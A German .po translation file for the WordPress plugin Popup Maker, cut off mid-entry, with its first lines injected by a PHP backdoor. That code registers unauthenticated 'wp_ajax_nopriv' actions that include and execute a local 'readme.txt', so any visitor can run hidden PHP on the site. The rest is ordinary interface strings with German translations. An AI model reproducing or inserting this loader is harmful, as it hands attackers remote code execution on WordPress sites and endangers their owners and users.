if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# Translation of Plugins - Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popups Builder - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popups Builder - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2025-08-13 21:13:51+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: de\n" "Project-Id-Version: Plugins - Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popups Builder - Stable (latest release)\n" #: classes/Admin/Subscribers/Table.php:415 msgid "failed to delete." msgid_plural "failed to delete." msgstr[0] "konnte nicht gelöscht werden." msgstr[1] "konnten nicht gelöscht werden." #. translators: 1. Plugin name #: vendor-prefixed/code-atlantic/wp-autoloader/src/Autoloader.php:59 msgid "Your installation of %1$s is incomplete. If you installed %1$s from GitHub, please refer to this document to set up your development environment." msgstr "Deine Installation von %1$s ist unvollständig. Wenn du %1$s von GitHub installiert hast, findest du in diesem Dokument Informationen zum Einrichten einer Entwicklungsumgebung." #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:389 msgid "WordPress" msgstr "WordPress" #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:372 msgid "PHP" msgstr "PHP" #. translators: 1. Plugin Name, Requirement name (WordPress|PHP)., 2. Version #. Number. #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:370 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:387 msgid "The plugin \"%1$s\" requires <b>%2$s v%3$s</b> or higher in order to run." msgstr "Das Plugin „%1$s“ erfordert <b>%2$s v%3$s</b> oder höher, um zu laufen." #: classes/ListTable.php:962 msgid "function PUM_ListTable::get_columns() must be over-ridden in a sub-class." msgstr "Die Function PUM_ListTable::get_columns() muss in einer Unterklasse überschrieben werden." #: classes/Integration/Form/FluentForms.php:34 msgid "Fluent Forms" msgstr "Fluent Forms" #: classes/Admin/Settings.php:535 msgid " This stops Popup Maker from loading Google Fonts, useful if the fonts you chose are already loaded with your theme." msgstr " Hiermit wird Popup Maker keine Google Fonts mehr laden. Dies ist nützlich, wenn die von dir gewählten Schriften bereits mit deinem Theme geladen werden." #: classes/Admin/Notices.php:340 msgid "" "%1$sPopup Maker will soon require WordPress Version %2$s.%3$s \n" "\n" "You're using Version %4$s. Please ask your host to upgrade your server's WordPress." msgstr "" "%1$sPopup Maker erfordert bald WordPress Version %2$s.%3$s \n" "\n" "Du verwendest Version %4$s. Bitte wende dich an deinen Hoster, um WordPress auf deinem Server zu aktualisieren." #: classes/Admin/Notices.php:326 msgid "" "%1$sPopup Maker will soon require PHP Version %2$s.%3$s \n" "\n" "You're using Version %4$s. Please ask your host to upgrade your server's PHP." msgstr "" "%1$sPopup Maker erfordert bald PHP Version %2$s.%3$s \n" "\n" "Du verwendest Version %4$s. Bitte wende dich an deinen Hoster, um PHP auf deinem Server zu aktualisieren." #: classes/Admin/Notices.php:297 msgid "** You are seeing this notice because you are an administrator. Other users of the site will see nothing." msgstr "** Du siehst diesen Hinweis, weil du ein Administrator bist. Andere Benutzer der Website werden nichts sehen." #: classes/Admin/Tools.php:392 msgid "Debug logging is disabled." msgstr "Debug-Protokollierung ist deaktiviert." #: classes/Extension/Updater.php:377 msgid "Update now." msgstr "Jetzt aktualisieren." #. translators: 1. opening anchor tag, do not translate 2. the new plugin #. version 3. closing anchor tag, do not translate 4. opening anchor tag, do #. not translate 5. closing anchor tag, do not translate</a>. #: classes/Extension/Updater.php:366 msgid "%1$sView version %2$s details%3$s or %4$supdate now%5$s." msgstr "%1$sDetails der Version %2$s anzeigen%3$s oder %4$sjetzt aktualisieren%5$s." #. translators: 1. opening anchor tag, do not translate 2. the new plugin #. version 3. closing anchor tag, do not translate. #: classes/Extension/Updater.php:357 msgid "%1$sView version %2$s details%3$s." msgstr "%1$sDetails der Version %2$s anzeigen%3$s." #: classes/Extension/Updater.php:352 msgid "Contact your network administrator to install the update." msgstr "Kontaktiere deinen Netzwerk-Administrator, um das Update zu installieren." #. translators: the plugin name. #: classes/Extension/Updater.php:346 msgid "There is a new version of %1$s available." msgstr "Es ist eine neue Version von %1$s verfügbar." #: classes/Admin/Notices.php:82 msgid "Turn off these occasional notices" msgstr "Diese gelegentlichen Hinweise deaktivieren" #. translators: 1. Plugin name, 2. Required plugin name, 3. Version number, 4. #. `update it` link. #. translators: 1. Plugin Name, 2. Required Plugin Name, 3. Version number, 4. #. `update it` link. #: classes/Extension/Activator.php:186 classes/Utils/Prerequisites.php:314 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:425 msgid "The plugin \"%1$s\" requires %2$s v%3$s or higher! Please %4$s to continue!" msgstr "Das Plugin „%1$s“ benötigt %2$s v%3$s oder höher! Bitte %4$s, um fortzufahren!" #. translators: 1. Plugin name, 2. Required plugin name, 3. `activate it` link. #. translators: 1. Plugin name, 2. Required plugin name, 3. `install it` link. #. translators: 1. Plugin Name, 2. Required Plugin Name, 4. `activate it` link. #. translators: 1. Plugin Name, 2. Required Plugin Name, 3. `install it` link. #: classes/Extension/Activator.php:174 classes/Extension/Activator.php:199 #: classes/Utils/Prerequisites.php:303 classes/Utils/Prerequisites.php:326 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:414 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:437 msgid "The plugin \"%1$s\" requires %2$s! Please %3$s to continue!" msgstr "Das Plugin „%1$s“ benötigt %2$s! Bitte %3$s, um fortzufahren!" #. translators: 1. PHP Version #: classes/Utils/Prerequisites.php:278 msgid "This plugin requires <b>PHP %s</b> or higher in order to run." msgstr "Dieses Plugin erfordert <b>PHP %s</b> oder höher, um zu laufen." #: classes/Admin/Templates.php:546 msgid "New Trigger" msgstr "Neuer Auslöser" #: classes/Admin/Templates.php:508 msgid "What kind of trigger do you want?" msgstr "Welche Art von Auslöser möchtest du?" #: includes/modules/admin-bar.php:225 msgid "Flush Popup Cache" msgstr "Popup-Cache leeren" #. translators: 1 & 2 are opening and closing HTML of the link around "Learn #. more" #: classes/Admin/Settings.php:473 msgid "Use this if your popups \"jump\" or \"shift\" when opened. %1$sLearn more%2$s" msgstr "Benutze diese Funktion, wenn deine Popups beim Öffnen „hüpfen“ oder sich verschieben. %1$sMehr erfahren%2$s" #: classes/Admin/Extend.php:53 msgid "See All Premium Features" msgstr "Alle Premium-Funktionen anzeigen" #: classes/Admin/Extend.php:36 classes/Admin/Pages.php:66 #: classes/Upsell.php:176 msgid "Upgrade" msgstr "Upgrade" #: includes/modules/admin-bar.php:203 msgid "Create New Popup" msgstr "Neues Popup erstellen" #: classes/Admin/Settings.php:254 msgid "Google Fonts API Key *optional" msgstr "API-Key für Google Fonts (optional)" #: classes/Admin/Onboarding.php:329 msgid "Review Popup Metrics" msgstr "Popup-Metriken überprüfen" #: classes/Admin/Onboarding.php:316 msgid "You can enable or disable your popups at any time using this toggle." msgstr "Du kannst deine Popups jederzeit mit diesem Umschalter aktivieren oder deaktivieren." #: classes/Admin/Onboarding.php:315 msgid "Enable Popups" msgstr "Popups aktivieren" #: classes/Admin/Settings.php:518 msgid "Disable Popup Maker occasionally showing random tips to improve your popups." msgstr "Deaktiviere die von Popup Maker gelegentlich angezeigten zufälligen Tipps zur Verbesserung deiner Popups." #: classes/Admin/Settings.php:451 msgid "Custom Names" msgstr "Individuelle Namen" #: classes/Admin/Settings.php:446 msgid "Ad blocker: Naming method" msgstr "Werbeblocker: Benennungsmethode" #: classes/Admin/Onboarding.php:343 msgid "Adjust Columns" msgstr "Spalten anpassen" #: classes/Admin/Onboarding.php:80 msgid "Turn off these occasional tips" msgstr "Tooltipps ausschalten" #: classes/Admin/Notices.php:75 classes/Admin/Notices.php:404 #: classes/Admin/Onboarding.php:74 msgid "Dismiss" msgstr "Ausblenden" #: includes/pum-install-functions.php:191 msgid "Content Only - For use with page builders or block editor" msgstr "Nur Inhalt – Zur Verwendung mit Page-Buildern oder dem Block-Editor" #: classes/Admin/Tools.php:134 msgid "Error Log" msgstr "Fehlerprotokoll" #: classes/Integration/Form/FormidableForms.php:39 msgid "Formidable Forms" msgstr "Formidable Forms" #: classes/Admin/Onboarding.php:305 msgid "Click the \"Create New Popup\" button to create your first popup." msgstr "Klicke auf den Button „Neues Popup erstellen“, um dein erstes Popup zu erstellen." #: classes/Admin/Onboarding.php:274 msgid "Choose the popup theme which controls the visual appearance of your popup including; colors, spacing, and fonts." msgstr "Wähle das Popup-Theme, das das visuelle Design deines Popups steuert, einschließlich Farben, Abstände und Schriften." #: classes/Admin/Onboarding.php:260 msgid "Use display settings to choose where on the screen the popup appears and what it looks like." msgstr "Mit den Anzeigeeinstellungen kannst du festlegen, wo auf dem Bildschirm das Popup erscheint und wie es aussieht." #: classes/Admin/Onboarding.php:259 msgid "Popup Display" msgstr "Popup-Anzeige" #: classes/Admin/Onboarding.php:245 msgid "Popup Targeting" msgstr "Pop-up-Zielgruppe" #: classes/Admin/Onboarding.php:232 msgid "Use triggers to choose what causes the popup to open." msgstr "Verwende Auslöser, um auszuwählen, wodurch das Popup geöffnet wird." #: classes/Admin/Onboarding.php:231 msgid "Popup Triggers" msgstr "Popup-Auslöser" #: classes/Admin/Onboarding.php:218 msgid "Add content for your popup here." msgstr "Füge den Inhalt deines Popups hier ein." #: classes/Admin/Onboarding.php:217 msgid "Popup Content" msgstr "Popup-Inhalt" #: classes/Admin/Onboarding.php:204 msgid "Name your popup so you can find it later. Site visitors will not see this." msgstr "Benenne dein Popup, damit du es später wiederfinden kannst. Die Besucher der Website werden dies nicht sehen." #: classes/Admin/Popups.php:174 msgid "Enter a name to help you remember what this popup is about. Only you will see this." msgstr "Gib einen Namen ein, damit du dich daran erinnerst, worum es in diesem Popup geht. Nur du wirst ihn sehen." #: classes/Admin/Popups.php:149 msgid "Shown as headline inside the popup. Can be left blank." msgstr "Wird als Überschrift im Popup angezeigt. Kann leer gelassen werden." #: classes/Admin/Templates.php:525 msgid "Stop showing popup once visitor takes this action" msgstr "Stoppt die Anzeige des Popups, sobald der Besucher diese Aktion ausführt" #: classes/Admin/Templates.php:518 msgid "Prevent popup from showing to visitor again using a cookie?" msgstr "Mit einem Cookie verhindern, dass ein Popup dem Besucher erneut angezeigt wird?" #: classes/Shortcode/PopupClose.php:83 msgid "Enter the target value for your link. Can be left blank." msgstr "Gib den Zielwert für deinen Link ein. Kann leer gelassen werden." #: classes/Shortcode/PopupClose.php:81 msgid "Target for the element" msgstr "Ziel für das Element" #: classes/Shortcode/PopupClose.php:73 msgid "Enter the href value for your link. Leave blank if you do not want this link to take the visitor to a different page." msgstr "Gib den href-Wert für deinen Link ein. Leer lassen, wenn du nicht willst, dass dieser Link den Besucher auf eine andere Seite führt." #: classes/Shortcode/PopupClose.php:71 msgid "Value for href" msgstr "Wert für href" #: classes/Telemetry.php:264 msgid "Do not allow" msgstr "Nicht erlauben" #: classes/Telemetry.php:258 msgid "Allow" msgstr "Erlauben" #: includes/pum-install-functions.php:184 msgid "Floating Bar - Soft Blue" msgstr "Floating Bar - Soft Blue" #: classes/Admin/Popups.php:861 msgid "Override the default close text. To use a Font Awesome icon instead of text, enter the CSS classes such as \"fas fa-camera\"." msgstr "Überschreibe den Standard-Schließen-Text. Um ein Font-Awesome-Icon anstelle von Text zu verwenden, gib die CSS-Klassen ein, z. B. „fas fa-camera“." #: classes/Admin/Popups.php:704 msgid "Enter URL to sound file." msgstr "Gib die URL der Sounddatei ein." #: classes/Admin/Popups.php:703 msgid "Custom Sound URL" msgstr "Individuelle Sound-URL" #: classes/Admin/Popups.php:699 msgid "Custom Sound" msgstr "Individueller Sound" #: classes/Admin/Popups.php:698 msgid "Correct" msgstr "Korrekt" #: classes/Admin/Popups.php:697 msgid "Chimes" msgstr "Glockenspiel" #: classes/Admin/Popups.php:696 msgid "Beep Up" msgstr "Piepton" #: classes/Admin/Popups.php:695 msgid "Beep 2" msgstr "Piep 2" #: classes/Admin/Popups.php:694 msgid "Beep" msgstr "Piep" #: classes/Admin/Popups.php:688 msgid "Select a sound to play when the popup opens." msgstr "Wähle einen Sound, der beim Ausführen des Popups gespielt werden soll." #: classes/Admin/Popups.php:687 msgid "Opening Sound" msgstr "Sound beim Öffnen" #: classes/Admin/Popups.php:530 msgid "Left Bottom Notice" msgstr "Hinweis links unten" #: classes/Admin/Popups.php:529 msgid "Top Bar" msgstr "Header-Leiste" #: classes/Admin/Popups.php:528 msgid "Right Bottom Slide-in" msgstr "Slide-in rechts unten" #: classes/Admin/Popups.php:527 msgid "Center Popup" msgstr "Zentriere Popup" #: classes/Admin/Popups.php:436 msgid "Sounds" msgstr "Sounds" #: classes/Admin/Popups.php:432 msgid "Display Presets" msgstr "Standard-Anzeigen" #: classes/Admin/Onboarding.php:203 classes/Admin/Popups.php:120 msgid "Popup Name" msgstr "Popup-Name" #: classes/Admin/Themes.php:866 msgid "To use a Font Awesome icon instead of text, enter the CSS classes such as \"fas fa-camera\"." msgstr "Um ein Font-Awesome-Icon anstelle von Text zu verwenden, gib die CSS-Klassen ein, z. B. „fas fa-camera“." #: classes/Admin/Settings.php:527 msgid "Check this to completely uninstall Popup Maker." msgstr "Schalte dies ein, um Popup Maker vollständig zu deinstallieren." #: classes/Admin/Settings.php:526 msgid "Delete all Popup Maker data on deactivation" msgstr "Bei der Deaktivierung von Popup Maker alle zugehörigen Daten löschen." #: classes/Admin/Settings.php:481 msgid "Body Padding Override" msgstr "body-Innenabstand überschreiben" #: classes/Admin/Settings.php:249 msgid "Enable experimental support for using the block editor to edit popups." msgstr "Aktiviere die experimentelle Unterstützung für die Verwendung des Block-Editors zur Bearbeitung von Popups." #: classes/Admin/Settings.php:248 msgid "Enable Block Editor Support" msgstr "Block-Editor-Unterstützung einschalten" #: classes/Integration/Form/WSForms.php:34 msgid "WS Forms" msgstr "WP Forms" #: classes/Shortcode/PopupCookie.php:67 msgid "This will prevent the cookie from getting set until the user scrolls it into viewport." msgstr "Dadurch wird verhindert, dass das Cookie gesetzt wird, bis der Benutzer es in das Ansichtsfenster scrollt." #: classes/Shortcode/PopupCookie.php:66 msgid "Only when visible on-screen" msgstr "Nur wenn sichtbar" #: classes/Shortcode/PopupCookie.php:32 classes/Shortcode/PopupCookie.php:106 msgid "Popup Cookie" msgstr "Popup Cookie" #: classes/Integration/Form/MC4WP.php:25 msgid "MailChimp for WordPress" msgstr "MailChimp für WordPress" #: classes/Integration/Form/PirateForms.php:64 msgid "Default Form" msgstr "Standardformular" #. translators: 1. Integration label. #: classes/Integrations.php:475 msgid "Any %s Form" msgstr "Alle %s Formulare" #. translators: 1. Trigger name. #: classes/Triggers.php:94 msgctxt "trigger settings modal title" msgid "%s Trigger Settings" msgstr "%s Trigger-Einstellungen" #: classes/Cookies.php:111 msgid "Only in this popup" msgstr "Nur in diesem Popup" #: classes/Cookies.php:99 classes/Triggers.php:225 msgid "Any Supported Form*" msgstr "Beliebige unterstützte Formulare*" #. translators: 1. Plugin name, 2. Required plugin name, 3. Version number, 4. #. Opening HTML tag, 5. Closing HTML tag. #: classes/Install.php:260 msgid "The %4$s %1$s %5$s plugin requires %2$s version %3$s or greater." msgstr "Das %4$s %1$s %5$s Plugin benötigt %2$s Version %3$s oder höher." #: classes/AssetCache.php:671 msgid "Keep current method" msgstr "Aktuelle Methode beibehalten" #: classes/Admin/Popups.php:886 msgid "The delay before the popup will close after submission (in milliseconds)." msgstr "Die Verzögerung, bevor das Popup nach Bestätigung geschlossen wird (in Millisekunden)." #: classes/Admin/Popups.php:880 msgid "Close the popup automatically after integrated form plugin submissions." msgstr "Das Popup wird nach dem Absenden des integrierten Formulars automatisch geschlossen." #: classes/Admin/Popups.php:879 msgid "Close on Form Submission" msgstr "Schließen beim Absenden des Formulars" #: classes/Admin/Popups.php:442 classes/Cookies.php:89 classes/Triggers.php:216 msgid "Form Submission" msgstr "Absenden des Formulars" #: classes/Admin.php:71 msgid "Translate" msgstr "Übersetzen" #: includes/admin/upgrades/class-pum-admin-upgrade-routine-2.php:27 msgid "Update your popups settings." msgstr "Aktualisiere deine Pop-up-Einstellungen." #: includes/functions/themes/portability.php:51 msgid "Imported Theme" msgstr "Importiertes Theme" #. translators: %s url to product page. #: classes/Upsell.php:110 msgid "Want to use <a href=\"%s\" target=\"_blank\">background images</a>?" msgstr "Möchtest du <a href=\"%s\" target=\"_blank\">Hintergrundbilder</a>? verwenden?" #. translators: %s url to product page. #: classes/Upsell.php:86 msgid "Need more <a href=\"%s\" target=\"_blank\">advanced targeting</a> options?" msgstr "Benötigst du mehr <a href=\"%s\" target=\"_blank\">erweiterte Targeting</a> Optionen?" #. translators: %s url to product page. #: classes/Upsell.php:70 msgid "Want to disable the close button? Check out <a href=\"%s\" target=\"_blank\">Forced Interaction</a>!" msgstr "Möchtest du den Schließen-Button deaktivieren? Probiere die <a href=\"%s\" target=\"_blank\">Erzwungene Interaktion</a>!" #. translators: 1: Number of weeks. #: classes/Utils/Format.php:114 msgid "%sw" msgstr "%sw" #. translators: 1: Number of days. #: classes/Utils/Format.php:104 msgid "%sd" msgstr "%sd" #. translators: 1: Number of hours. #: classes/Utils/Format.php:94 msgid "%shr" msgstr "%shr" #. translators: 1: Number of minutes. #: classes/Utils/Format.php:84 msgid "%smin" msgstr "%smin" #. translators: 1: Number of seconds. #: classes/Utils/Format.php:74 msgid "%ss" msgstr "%s s" #: classes/Utils/Alerts.php:567 msgid "Dismiss this item." msgstr "Verwirf diesen Punkt." #: classes/Utils/Alerts.php:495 msgid "Check out the following notifications from Popup Maker." msgstr "Prüfe die folgenden Benachrichtigungen von Popup Maker." #: classes/Utils/Alerts.php:492 msgid "Notifications" msgstr "Benachrichtigungen" #. translators: 1. Opening HTML tag, 2. Closing HTML tag, 3. Integration name, #. 4. Learn more URL, 5. Opening HTML tag, 6. Closing HTML tag, 7. #. Activate/Install URL, 8. Activate/Install text. #: classes/Utils/Alerts.php:298 msgid "%1$sDid you know:%2$s Popup Maker has custom integrations with %3$s, %4$slearn more%5$s or %6$s%7$s%8$s!" msgstr "%1$sWusstest du schon:%2$s Popup Maker hat individuelle Integrationen mit %3$s, %4$serfahre mehr darüber%5$s oder %6$s%7$s%8$s!" #: classes/Utils/Alerts.php:291 msgid "install it now" msgstr "jetzt installieren" #: classes/Utils/Alerts.php:291 msgid "activate it now" msgstr "jetzt aktivieren" #. translators: 1. Version number, 2. URL to changelog, 3. closing HTML tag. #: classes/Utils/Alerts.php:241 msgid "See whats new in v%1$s - (%2$sview all changes%3$s)" msgstr "Was ist neu in v%1$s – (%2$salle Änderungen anzeigen%3$s)" #. translators: %s: native language name. #: classes/Utils/Alerts.php:208 msgid "This plugin's translation for %1$s is out of date. <a href=\"%2$s\" target=\"_blank\">Help improve the translation!</a>" msgstr "Die Übersetzung dieses Plugins für %1$s ist veraltet. <a href=\"%2$s\" target=\"_blank\">Hilf dabei, sie zu verbessern!</a>" #. translators: 1: native language name, 2: URL to translate.wordpress.org #. translators: 1. Native language name, 2. URL to translation. #: classes/Utils/Alerts.php:174 classes/Utils/Alerts.php:201 msgid "This plugin is not translated into %1$s yet. <a href=\"%2$s\" target=\"_blank\">Help translate it!</a>" msgstr "Dieses Plugin wurde noch nicht in %1$s übersetzt. <a href=\"%2$s\" target=\"_blank\">Hilf bei der Übersetzung!</a>" #. translators: 1: native language name, 2: other native language names, comma #. separated #: classes/Utils/Alerts.php:162 classes/Utils/Alerts.php:189 msgid "This plugin is also available in %1$s (also: %2$s). <a href=\"%3$s\" target=\"_blank\">Help improve the translation!</a>" msgstr "Dieses Plugin gibt es auch in %1$s (auch: %2$s). <a href=\"%3$s\" target=\"_blank\">Hilf mit, die Übersetzung zu verbessern!</a>" #. translators: %s: native language name. #: classes/Utils/Alerts.php:146 msgid "This plugin is also available in %1$s. <a href=\"%2$s\" target=\"_blank\">Help improve the translation!</a>" msgstr "Dieses Plugin gibt es auch in %1$s. <a href=\"%2$s\" target=\"_blank\">Hilf mit, die Übersetzung zu verbessern!</a>" #: classes/Utils/Upgrades.php:361 msgid "The latest version of Popup Maker requires changes to the Popup Maker settings saved on your site." msgstr "Die aktuellste Version von Popup Maker muss einige Änderungen an den auf deiner Website gespeicherten Einstellungen machen." #: classes/Integration/GoogleFonts.php:116 msgid "Google Web Fonts" msgstr "Google Web Fonts" #: classes/Admin.php:64 msgid "Integrations" msgstr "Integrationen" #. translators: %1$s is the post type name, %2$s is the field name, %3$s is the #. value. #: classes/Abstract/Repository/Posts.php:177 msgid "No %1$s found with %2$s %3$s." msgstr "Kein %1$s gefunden mit %2$s %3$s." #. translators: %1$s is the post type name, %2$d is the ID. #: classes/Abstract/Repository/Posts.php:149 msgid "No %1$s found with id %2$d." msgstr "Kein %1$s mit der ID %2$d gefunden." #: classes/Admin/Settings.php:608 msgid "Generated Popup & Popup Theme Styles" msgstr "Pop-up und Pop-up Theme-Styles erzeugt" #: classes/Admin/Settings.php:594 msgid "Use this to quickly copy Popup Maker's CSS to your own stylesheet." msgstr "Kopiere schnell und einfach das CSS von Popup Maker in dein eigenes Stylesheet." #: classes/Admin/Settings.php:461 msgid "Ad blocker: Custom Name" msgstr "Werbeblocker: Individueller Name" #: classes/Admin/Settings.php:450 msgid "Randomize Names" msgstr "Zufällige Dateinamen" #: classes/Admin/Settings.php:442 msgid "Try to bypass ad blockers." msgstr "Versuche Werbeblocker zu umgehen." #: classes/Admin/Settings.php:255 msgid "Enter your own Google Fonts API key to always get the latest fonts available." msgstr "Gib deinen eigenen Google-Fonts-API-Schlüssel ein, um immer die aktuellen Fonts zu bekommen." #: classes/Admin/Settings.php:242 msgid "Choose the default theme used for new popups" msgstr "Wähle das Standard-Theme für neue Popups" #: classes/Admin/Settings.php:241 msgid "Default Popup Theme" msgstr "Standard Pop-up-Theme" #: classes/Admin/Themes.php:873 msgid "This moves the position of the close button outside the popup." msgstr "Verschiebt die Position des „Schließen“-Buttons aus dem Pop-up hinaus." #: classes/Admin/Themes.php:872 msgid "Position Outside Container" msgstr "Position außerhalb des Containers" #: classes/Admin/Themes.php:865 msgid "Close Button Text" msgstr "Schließen-Button-Text" #: classes/Admin/Themes.php:759 msgid "Alignment" msgstr "Ausrichtung" #: classes/Admin/Themes.php:742 classes/Admin/Themes.php:841 #: classes/Admin/Themes.php:1045 msgid "Font Weight" msgstr "Schriftstärke" #: classes/Admin/Themes.php:734 classes/Admin/Themes.php:833 #: classes/Admin/Themes.php:1037 msgid "Font Family" msgstr "Schriftfamilie" #: classes/Admin/Themes.php:714 classes/Admin/Themes.php:1017 msgid "Font Size" msgstr "Schriftgröße" #: classes/Admin/Themes.php:572 classes/Admin/Themes.php:980 msgid "Border Radius" msgstr "Eckenradius" #: classes/Admin/Themes.php:471 msgid "System Fonts" msgstr "System-Schriften" #: classes/Admin/Themes.php:443 classes/Admin/Themes.php:691 #: classes/Admin/Themes.php:1152 msgid "Inset (inner shadow)" msgstr "Einfügen (innerer Schatten)" #: classes/Admin/Themes.php:376 classes/Admin/Themes.php:401 msgid "Container" msgstr "Container" #: classes/Admin/Popups.php:930 msgid "This includes trapping the tab key & focus inside popup while open, force focus the first element when popup open, and refocus last click trigger when closed." msgstr "Dies beinhaltet das Einfangen der Tab-Taste und des Fokus innerhalb des geöffneten Pop-ups, erzwinge den Fokus auf das erste Element im geöffneten Pop-up und re-fokussiere den letzten Klick nach dem Schließen." #: classes/Admin/Popups.php:929 msgid "Disable accessibility features." msgstr "Barrierefreiheits-Funktionen deaktivieren." #: classes/Privacy.php:55 msgid "Some of the information below is dynamically generated, such as cookies. If you add or change popups you will see those additions or changes below and will need to update your policy accordingly." msgstr "Einige der folgenden Informationen werden dynamisch generiert, z.B. Cookies. Wenn du Popups hinzufügst oder änderst, siehst du unten diese Ergänzungen oder Änderungen und musst deine Richtlinie entsprechend aktualisieren." #: classes/Privacy.php:55 msgid "Note:" msgstr "Beachte:" #: classes/Admin/Settings.php:510 msgid "By default Popup Maker caches a single JS & CSS file in your Uploads folder. These files include core, extension & user customized styles & scripts in a single set of files." msgstr "Standardmäßig speichert Popup Maker eine einzelne JS- und CSS-Datei in deinem Upload-Ordner. Diese Dateien beinhalten Core-, Erweiterungs- und benutzerdefinierte Stile und Skripte in einem einzigen Satz von Dateien." #: classes/Admin/Settings.php:509 msgid "Disable asset caching." msgstr "Zwischenspeichern von Assets deaktivieren." #: classes/Utils/Upgrades.php:393 msgid "Process Changes" msgstr "Prozessänderungen" #: classes/Utils/Upgrades.php:391 msgid "The button below will process these changes automatically for you." msgstr "Der untenstehende Button verarbeitet diese Änderungen automatisch für dich." #: classes/Utils/Upgrades.php:364 msgid "Popup Maker needs to complete a the update of your settings that was previously started." msgstr "Popup Maker muss die Aktualisierung deiner Einstellungen abschließen, die früher gestartet wurden." #: classes/Shortcode/Subscribe.php:342 msgid "Note: Requiring consent may not be compliant with GDPR for all situations. Be sure to do your research or check with legal council." msgstr "Hinweis: Die erforderliche Zustimmung ist möglicherweise nicht in allen Situationen mit der GDPR konform. Stelle sicher, dass du Recherchen durchführst oder mit einem Juristen Rücksprache hältst." #: classes/Privacy.php:442 msgid "Cookie used to prevent popup from displaying repeatedly." msgstr "Das Cookie wird verwendet, um zu verhindern, dass Popup-Fenster wiederholt angezeigt werden." #: classes/Privacy.php:81 msgid "Time" msgstr "Zeit" #: classes/Privacy.php:80 msgid "Usage" msgstr "Bedienungsanleitung" #: classes/Privacy.php:64 msgid "If you submit a subscription form on our site you will be opting in for us to save your name, email address and other relevant information." msgstr "Wenn du ein Anmeldeformular auf unserer Website benutzt, entscheidest du dich dafür, dass wir deinen Namen, deine E-Mail-Adresse und andere relevante Informationen speichern dürfen." #. translators: 1. opening tag, 2. closing tag. #: classes/Admin/Settings.php:425 classes/Shortcode/Subscribe.php:404 msgid "You can use %1$s%2$s to insert a link to your privacy policy. To customize the link text use %1$s:Link Text%2$s" msgstr "Du kannst %1$s%2$s verwenden, um einen Link zu deiner Datenschutzerklärung einzufügen. Um den Linktext anzupassen, verwende %1$s:Link Text%2$s." #: classes/Shortcode/Subscribe.php:350 msgid "Radio forces the user to make a choice, often resulting in more optins." msgstr "Radiobuttons zwingt den Benutzer zur Auswahl, was häufig zu mehr Optionen führt." #: classes/Shortcode/Subscribe.php:349 msgid "Field Type" msgstr "Feldtyp" #: classes/Shortcode/Subscribe.php:334 msgid "Consent Field Label" msgstr "Bezeichner für das Zustimmungs-Feld" #: classes/Shortcode/Subscribe.php:323 msgid "When enabled, the successful completion will result in normal success actions, but if they do not opt-in no records will be made." msgstr "Wenn diese Option aktiviert ist, führt der erfolgreiche Abschluss zu normalen Erfolgsaktionen, aber wenn sie nicht zustimmen, werden keine Aufzeichnungen gemacht." #: classes/Admin/Popups.php:1205 classes/Shortcode/Subscribe.php:322 msgid "Enabled" msgstr "Aktiviert" #: classes/Privacy.php:395 msgid "Subscription information was not removed. This may occur when no immediate confirmation is received during our attempt to unsubscribe you from our mailing list." msgstr "Abonnement-Informationen wurden nicht entfernt. Dies kann vorkommen, wenn keine sofortige Bestätigung eingeht, während wir versuchen, dich von unserer Mailingliste auszutragen." #: classes/Privacy.php:391 msgid "Subscription information was not removed. A database error may have occurred during deletion." msgstr "Abonnementinformationen wurden nicht entfernt. Eventuell gab es einen Datenbankfehler während dem Löschen." #: classes/Privacy.php:314 msgid "Date Subscribed" msgstr "Anmeldedatum" #: classes/Privacy.php:257 msgid "Provided Consent" msgstr "Einverständniserklärung" #: classes/Privacy.php:217 msgid "Subscriber Data" msgstr "Daten des Abonnenten" #: classes/Privacy.php:150 classes/Privacy.php:168 msgid "Popup Maker Subscribe Form" msgstr "Popup Maker Anmeldeformular" #: classes/Privacy.php:125 msgid "If you have extended our subscription forms to send data to a 3rd party service such as Mailchimp, user info may be passed to these external services. These services may be located abroad." msgstr "Wenn du unsere Abonnementformulare zum Versenden von Daten mit der Erweiterung eines Drittanbieters wie Mailchimp verwendest, können Benutzerinformationen an diese externen Dienste weitergegeben werden. Diese Dienstleistungen können sich im Ausland befinden." #: classes/Privacy.php:124 msgid "Popup Maker does not send any user data outside of your site by default." msgstr "Popup Maker sendet standardmäßig keine Benutzerdaten aus deiner Website hinaus." #: classes/Privacy.php:123 msgid "Where we send your data" msgstr "Wohin wir deine Daten senden" #: classes/Privacy.php:121 msgid "If syncing data to a 3rd party service (for example Mailchimp), data is retained there until unsubscribed or deleted." msgstr "Wenn Daten mit einem Drittanbieter-Dienst (z.B. Mailchimp) synchronisiert werden, bleiben die Daten dort bis zur Abmeldung oder Löschung erhalten." #: classes/Privacy.php:121 msgid "Data will be exported or removed upon users request via the existing Exporter or Eraser." msgstr "Daten werden auf Wunsch des Benutzers über den bestehenden Exporter exportiert oder über den Eraser entfernt." #: classes/Privacy.php:120 msgid "Subscriber information is retained in the local database indefinitely for analytic tracking purposes and for future export." msgstr "Abonnenteninformationen werden in der lokalen Datenbank auf 